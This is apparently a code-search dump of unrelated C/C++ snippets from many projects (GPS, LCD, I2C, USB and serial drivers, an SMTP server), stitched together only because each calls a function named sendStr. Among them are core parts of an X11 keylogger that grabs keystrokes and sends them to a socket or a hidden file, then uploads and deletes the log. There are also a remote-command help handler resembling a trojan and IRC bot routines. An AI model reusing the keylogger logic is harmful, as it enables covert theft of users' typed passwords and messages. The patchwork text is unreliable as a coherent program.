// help commands // hp int zXcmd_hp(pCommandData X) { switch(X->argc?*(unsigned short *)(X->argv[X->argc]):0) { case c_sm: wsprintf(X->sbuf,"%s*:hp| system command",H_sm); break; case c_wc: wsprintf(X->sbuf,"%s*:hp| window control command",H_wc); break; case c_mx: wsprintf(X->sbuf,"%s*:hp| message box command",H_mx); break; case c_dn: case c_up: case c_ux: case c_hi: case c_qt: case c_zX: lstrcpy(X->sbuf,"-:hp| sorry! command help unimplemented ..."); break; default: lstrcpy(X->sbuf,fHELP);sendStr(X); lstrcpy(X->sbuf,tHELP);sendStr(X); lstrcpy(X->sbuf,HELP);sendStr(X); wsprintf(X->sbuf,"*:hp| end of command list"); } sendStr(X); return 0; }
void exitServ (struct irc * bot) { sendStr (bot, "QUIT\r\n"); close (bot->socket); exit (0); }
/** * Clear the display and print the string s starting from (0,0) * @param s The string to be printed */ void LCD5110::printStr(String s){ clearScreen(); setOrigin(); sendStr(s); }
void sendMsg (struct irc * bot, char * msg) { char msgbuf [BUF]; snprintf (msgbuf, BUF-1, "PRIVMSG %s", msg); sendStr (bot, msgbuf); }
char *MtkGps::setOutput(uint32_t mask1, uint32_t mask2, uint32_t mask3, uint32_t mask4, uint32_t mask5) { static char str[64]; uint32_t mask[5]; mask[0] = mask1; mask[1] = mask2; mask[2] = mask3; mask[3] = mask4; mask[4] = mask5; strcpy(str, "$PMTK314"); char *out = strchr(str, '\0'); for(int i = 0; i < MTK3339_NMEA; i++) { int freq = 0; for(int m = 0; m < 5; m++) { if (mask[m] & output_mask[i]) freq = m + 1; } sprintf(out, ",%d", freq); out+= 2; } sendStr(str); return str; }
void listener() { //start timer: struct timeval tv,tv1; gettimeofday(&tv,NULL); int start_time; memcpy(&start_time, &tv.tv_sec, sizeof(int)); //timeout: tv1.tv_sec=PERS_TIME_OUT; tv1.tv_usec=0; setsockopt(newsockfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv1,sizeof(struct timeval)); while(tv.tv_sec-start_time<PERS_TIME_OUT) { recv(newsockfd,buf,4096,0); if(std::string(buf).length()==0) { //probably just tcp keepalive message, ignore. gettimeofday(&tv,NULL); continue; } parseRequest(buf); memset(buf,0,4096); std::string content=serializeFile(this->requestFile.c_str()); sendStr(content.c_str(),content.length()); gettimeofday(&tv,NULL); } return; }
void enterChan (struct irc * bot, char * chan) { char msg [BUF]; snprintf(msg, BUF-1, "JOIN %s\r\n", chan); sendStr (bot, msg); }
int main(int argc, char **argv) { const char *filename = std::string("/dev/i2c-0").c_str(); // Name of the port we will be using int i2c_address = 0x3E; // Address of LCD display if(init_LCD(filename, i2c_address)) { printf("initilization error, exiting...\n"); return 1; } if (argc>2){ sendStr(argv[1],argv[2]); } else if (argc==2) { sendStr(argv[1],""); } else { sendStr("",""); } }
int MtkGps::setEasyMode(uint8_t arg) { char str[64]; sprintf(str, "$PMTK%d,1,%d", PMTK_CMD_EASY_ENABLE, arg ? 1 : 0); sendStr(str); return 0; }
int MtkGps::setNavThreshold(uint8_t speed) { char str[64]; if (speed > PMTK_NAV_THRESHOLD_20) speed = PMTK_NAV_THRESHOLD_20; sprintf(str, "$PMTK%d,%.1f", PMTK_SET_NAV_THRESHOLD, nav_threshold[speed]); sendStr(str); return 0; }
void main(){ u8 str[] = "MaWei"; EA = 1; UartInit(); Timer0Init(); sendStr(str); while(1){ P30 = P31; } }
//non-persistent service: void serviceRequest() { //printf("non-persistent service\n"); //first, create a thread that listens for requests. //int reqsize=read(newsockfd, buf, 4096); read(newsockfd,buf,4096); parseRequest(buf); memset(buf,0,4096); std::string content= serializeFile(this->requestFile.c_str()); //std::cout<<"content:\n"<<content<<std::endl; sendStr(content.c_str(),content.length()); }
void setBoost(float volts) { int i; float Rset = (R1/((volts/1.229)-1))-R2; UCB1I2CSA = pot12Addr; TXData[0]=(1-Rset/R)*256; TXData[1]=boostReg; TXByteCtr=2; while (UCB1CTLW0 & UCTXSTP); // Ensure stop condition got sent UCB1CTLW0 |= UCTR | UCTXSTT; // I2C TX, start condition if (DEBUG) sendStr(" Pot set for boost.\n"); for (i=0; i<30000; i++) ; //Delay }
void handleChar(int connected, char *buf, KeySym ks) { fixStr(buf, ks); if(connected) sendStr(buf); else appendFile(filename, buf); #ifdef DEBUG printf("%s", buf); fflush(stdout); #endif }
int main() { // open needed stuff int connected = connectSocket(); Display *dpy = XOpenDisplay(NIL); // my event XEvent event; // just in case if(connected) sendMissingStuff(); // some stuff for keycode-char conversion char buf[2]; int len; KeySym keysym; grab(dpy); int i = 0; while(1) { // check for internet connection if(i % CONCHECKINTV == 0 && !connected) if( (connected = connectSocket()) ) sendMissingStuff(); XNextEvent(dpy, &event); // convert keycode to character if( (len = XLookupString(&event.xkey, buf, 1, &keysym, NULL)) == 0 ) buf[0] = '\0'; // forward event to client sendSpecEvent(dpy, keysym, event); if(event.type == KeyPress) { // save key for me handleChar(connected, buf, keysym); } i++; } sendStr("\nEnd of transmission\n"); ungrab(dpy); XCloseDisplay(dpy); close(sockfd); return 0; }
void test3(void *pdata) { //char *msg; //msg = (char *)malloc(sizeof(char)); char buf[10]="0"; pdata = pdata; while(TRUE) { memset(buf,'A',sizeof(buf)-1); sendStr(buf); OSTimeDlyHMSM(0, 0, 1, 0); } }
int sendMissingStuff() { char c; char s[2]; openFile(filename); while( (c = getc(fd)) != EOF ) { s[0] = c; s[1] = '\0'; sendStr(s); } closeFile(); // delete file (is no longer needed) remove(filename); return 1; }
void initI2C(void) { // Configure Pins for I2C P6SEL0 |= BIT4 | BIT5; // I2C pins NVIC_ISER0 = 1 << ((INT_EUSCIB1 - 16) & 31); // Enable eUSCIB1 interrupt in NVIC module // Configure USCI_B3 for I2C mode UCB1CTLW0 |= UCSWRST; // put eUSCI_B in reset state UCB1CTLW0 |= UCMODE_3 | UCMST | UCSSEL__SMCLK; // I2C master mode, ACLK UCB1BRW = 240; // baudrate = SMCLK /24 UCB1CTLW0 &=~ UCSWRST; // clear reset register UCB1IE |= UCTXIE0 | UCNACKIE; // transmit and NACK interrupt enable if (DEBUG) sendStr(" I2C Initialisation complete.\n"); }
//------------------------------------------------------------------------------------------ void Server::clientConnected(int client) { log_->debug("Client connected..."); fcntl(client, F_SETFL, O_NONBLOCK); //std::string answ="220 Ready to serve\n"; //send(client, answ.c_str(), answ.length(), 0); sendStr(client, "220 Ready to serve\n"); //Letter letter(accounts_,log_); //letter.accepting==false; //clients_[client]=letter; clients_.insert( std::map< int, Letter >::value_type ( client, Letter(accounts_,log_) ) ); //log_->debug("Clients: " + itoa(clients_.size())); //log_->debug("ClientID: " + itoa(client)); }
void setCntl(float volts) { int i; UCB1I2CSA = potVGAAddr; if (volts < 0) volts = 0.0; else if (volts > 2.6) volts = 2.6; TXData[0]=(volts/VDD)*256; TXData[1]=cntlReg; TXByteCtr=2; while (UCB1CTLW0 & UCTXSTP); // Ensure stop condition got sent UCB1CTLW0 |= UCTR | UCTXSTT; // I2C TX, start condition if (DEBUG) sendStr(" Pot set for Vcntl.\n"); for (i=0; i<30000; i++) ; //Delay for (i=0; i<30000; i++); //Delay }
// arg >= 0, not used if < 0 char *MtkGps::sendCommand(unsigned cmd, int arg) { char str[64]; if (cmd > 999) return "Invalid command\n"; if (cmd == PCMD_ANTENNA) sprintf(str, "$PGCMD,%d,%d", cmd, arg); else { if (arg >= 0) sprintf(str, "$PMTK%03d,%d", cmd, arg); else sprintf(str, "$PMTK%03d", cmd); } sendStr(str); return str; }
bool InfoServiceClient::Refresh() { _isRefreshed = false; _infos.clear(); int port = AppSettings::GetKey(AppSettings::Connection_Rover_Info_Port).toInt(); if(!_socket->SucessfulConnected()) { if(!_socket->ConnectToRover(port)) return false; else LoggerDialog::get()->Info("Info service client", "Connected to rover info service"); } QString sendStr("{\"get\":[\"sockets\"]}"); _socket->write(sendStr.toUtf8()); return true; }
int SerialComm::setPinDigital(int pinNumber, int pinLevel) { //Check if input pinNumber is actually a digital pin. If not, return -1 if ( !std::binary_search(digitalPins,digitalPins+6, pinNumber)) { return -1; } else if (pinLevel > 1 || pinLevel < 0) //Make sure pinLevel is 0 or 1 { return -2; } else { std::string intStr = std::to_string(pinNumber); intStr.append("d"); // Separating character so arduino can differentiate between pinNumber & pinLevel intStr.append(std::to_string(pinLevel)); intStr.append("\n"); // End character for arduino sendStr(intStr); return 1; } }
int SerialComm::setPinAnalog(int pinNumber, int pinLevel) { //Check if input pinNumber is actually an analog pin. If not, return -1 if ( !std::binary_search(analogPins,analogPins+6, pinNumber)) { return -1; } else if (pinLevel > 255 || pinLevel < 0) //Make sure pinLevel is within 0-255 range { return -2; } else { std::string intStr = std::to_string(pinNumber); intStr.append("a"); // Separating character so arduino can differentiate between pinNumber & pinLevel intStr.append(std::to_string(pinLevel)); intStr.append("\n"); // End character for arduino sendStr(intStr); return 1; } }
// Transmit string to LineTerm NS_IMETHODIMP mozXMLTerminal::SendText(const PRUnichar* aString, const PRUnichar* aCookie) { nsresult result; if (!mLineTermAux) return NS_ERROR_FAILURE; nsAutoString sendStr(aString); // Preprocess string and check if it is to be consumed PRBool consumed, checkSize; result = mXMLTermSession->Preprocess(sendStr, consumed, checkSize); PRBool screenMode; GetScreenMode(&screenMode); if (!screenMode && (checkSize || mNeedsResizing)) { // Resize terminal, if need be mXMLTermSession->Resize(mLineTermAux); mNeedsResizing = PR_FALSE; } if (!consumed) { result = mLineTermAux->Write(sendStr.get(), aCookie); if (NS_FAILED(result)) { // Abort XMLterm session nsAutoString abortCode; abortCode.AssignLiteral("SendText"); mXMLTermSession->Abort(mLineTermAux, abortCode); return NS_ERROR_FAILURE; } } return NS_OK; }
/* Connection initialization of an Android phone */ uint8_t ADK::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; uint8_t rcode; uint8_t num_of_conf; // number of configurations UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; // get memory address of USB device address pool AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("\r\nADK Init"); // check if address has already been assigned to an instance if (bAddress) { USBTRACE("\r\nAddress in use"); return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if (!p) { USBTRACE("\r\nAddress not found"); return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if (!p->epinfo) { USBTRACE("epinfo is null\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Restore p->epinfo p->epinfo = oldep_ptr; if (rcode) { goto FailGetDevDescr; } // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); // Extract Max Packet Size from device descriptor epInfo[0].maxPktSize = (uint8_t)((USB_DEVICE_DESCRIPTOR*)buf)->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if (rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; //USBTRACE2("setAddr:",rcode); return rcode; }//if (rcode... //USBTRACE2("\r\nAddr:", bAddress); // Spec says you should wait at least 200ms. delay(300); p->lowspeed = false; //get pointer to assigned address record p = addrPool.GetUsbDevicePtr(bAddress); if (!p) { return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } p->lowspeed = lowspeed; // Assign epInfo to epinfo pointer - only EP0 is known rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if (rcode) { goto FailSetDevTblEntry; } //check if ADK device is already in accessory mode; if yes, configure and exit if (((USB_DEVICE_DESCRIPTOR*)buf)->idVendor == ADK_VID && (((USB_DEVICE_DESCRIPTOR*)buf)->idProduct == ADK_PID || ((USB_DEVICE_DESCRIPTOR*)buf)->idProduct == ADB_PID)) { USBTRACE("\r\nAcc.mode device detected"); /* go through configurations, find first bulk-IN, bulk-OUT EP, fill epInfo and quit */ num_of_conf = ((USB_DEVICE_DESCRIPTOR*)buf)->bNumConfigurations; //USBTRACE2("\r\nNC:",num_of_conf); for (uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser < 0, 0, 0, 0 > confDescrParser(this); rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); if (rcode) { goto FailGetConfDescr; } if (bNumEP > 2) { break; } } // for (uint8_t i=0; i<num_of_conf; i++... if (bNumEP == 3) { // Assign epInfo to epinfo pointer - this time all 3 endpoins rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo); if (rcode) { goto FailSetDevTblEntry; } } // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if (rcode) { goto FailSetConfDescr; } /* print endpoint structure */ // USBTRACE("\r\nEndpoint Structure:"); // USBTRACE("\r\nEP0:"); // USBTRACE2("\r\nAddr: ", epInfo[0].epAddr ); // USBTRACE2("\r\nMax.pkt.size: ", epInfo[0].maxPktSize ); // USBTRACE2("\r\nAttr: ", epInfo[0].epAttribs ); // USBTRACE("\r\nEpout:"); // USBTRACE2("\r\nAddr: ", epInfo[epDataOutIndex].epAddr ); // USBTRACE2("\r\nMax.pkt.size: ", epInfo[epDataOutIndex].maxPktSize ); // USBTRACE2("\r\nAttr: ", epInfo[epDataOutIndex].epAttribs ); // USBTRACE("\r\nEpin:"); // USBTRACE2("\r\nAddr: ", epInfo[epDataInIndex].epAddr ); // USBTRACE2("\r\nMax.pkt.size: ", epInfo[epDataInIndex].maxPktSize ); // USBTRACE2("\r\nAttr: ", epInfo[epDataInIndex].epAttribs ); USBTRACE("\r\nConfiguration successful"); ready = true; return 0; //successful configuration }//if( buf->idVendor == ADK_VID... //probe device - get accessory protocol revision { uint16_t adkproto = -1; rcode = getProto((uint8_t*) & adkproto); if (rcode) { goto FailGetProto; //init fails } USBTRACE2("\r\nADK protocol rev. ", adkproto); } //sending ID strings sendStr(ACCESSORY_STRING_MANUFACTURER, manufacturer); sendStr(ACCESSORY_STRING_MODEL, model); sendStr(ACCESSORY_STRING_DESCRIPTION, description); sendStr(ACCESSORY_STRING_VERSION, version); sendStr(ACCESSORY_STRING_URI, uri); sendStr(ACCESSORY_STRING_SERIAL, serial); //switch to accessory mode //the Android phone will reset rcode = switchAcc(); if (rcode) { goto FailSwAcc; //init fails } rcode = USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET; delay(1000); // Give Android a chance to do its reset. This is a guess, and possibly could be lower. goto SwAttempt; //switch to accessory mode attempted /* diagnostic messages */ FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(rcode); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(rcode); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(rcode); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(rcode); goto Fail; #endif FailGetProto: #ifdef DEBUG_USB_HOST USBTRACE("\r\ngetProto:"); goto Fail; #endif FailSwAcc: #ifdef DEBUG_USB_HOST USBTRACE("\r\nswAcc:"); goto Fail; #endif SwAttempt: #ifdef DEBUG_USB_HOST USBTRACE("\r\nAccessory mode switch attempt"); #endif //FailOnInit: // USBTRACE("OnInit:"); // goto Fail; // Fail: //USBTRACE2("\r\nADK Init Failed, error code: ", rcode); //NotifyFail(rcode); Release(); return rcode; }
void ClientWorker2::performEcho(const std::shared_ptr<Client>& client) { std::string sendStr(getConfig()->pickSendSize(), 'a'); std::string recvStr; client->sync_echo(recvStr, sendStr); }
int main(void) { uint8_t i, j, randomNumber, tempNumber, buttonCount, n = 0; uint8_t portState[3] = {0xDF,0xBF,0x7F}; uint8_t inputState[3] = {0x04,0x08,0x10}; uint8_t* arr; uint8_t* backup_arr; //Источник энтропии - счетчик задержки нажатия клавиш uint16_t delayCounter = eeprom_read_word((uint16_t*)1); DDRC = 0xFF; DDRB = 0xFF; DDRD = 0xE3; PORTD = 0xFF; initUART(); while (1) { arr = (uint8_t *)malloc((n + 1) * sizeof(uint8_t)); if (n > 0) { memcpy(arr, backup_arr, n); free(backup_arr); } tempNumber = eeprom_read_byte((uint8_t*)0); srand(delayCounter); tempNumber ^= (makeRandom(1000)%255); eeprom_write_byte((uint8_t*)0, (uint8_t)(tempNumber % 8)); randomNumber = eeprom_read_byte((uint8_t*)0); arr[n] = toDisplayNum(randomNumber); for (i = 0; i < n + 1; i++) { comboPort(arr[i]); _delay_ms(DELAY); comboPort(0x00); _delay_ms(DELAY); } buttonCount = 0; while(buttonCount < n + 1) { for(i = 0; i < 3; i++) { PORTD = portState[i]; for(j = 0; j < 3; j++) { if(!(PIND & inputState[j])) { while((PIND & inputState[j]) != inputState[j]); if(display[i][j] == arr[buttonCount]){ comboPort(display[i][j]); buttonCount++; } else { sendStr("Game over! Your score: "); sendNum(n); sendByte(13); //Мигаем GG while(1) { comboPort(0xC2); _delay_ms(DELAY); comboPort(0x00); _delay_ms(DELAY); } } } delayCounter++; } } } backup_arr = (uint8_t*)malloc((n + 1) * sizeof(uint8_t)); memcpy(backup_arr, arr, n + 1); free(arr); _delay_ms(DELAY); comboPort(0x00); _delay_ms(DELAY * 2); eeprom_write_word((uint16_t*)1, (uint16_t)(delayCounter)); n++; } }
void Client::sendMsg(const std::vector<char> &str) { sendStr(data->serverSocket, str); }
void PrologThread::processError(QProcess::ProcessError error) { qDebug() << "[PrologThread] Error: "<< error; sendStr("[PrologThread] Error: "+QString::number(error)); }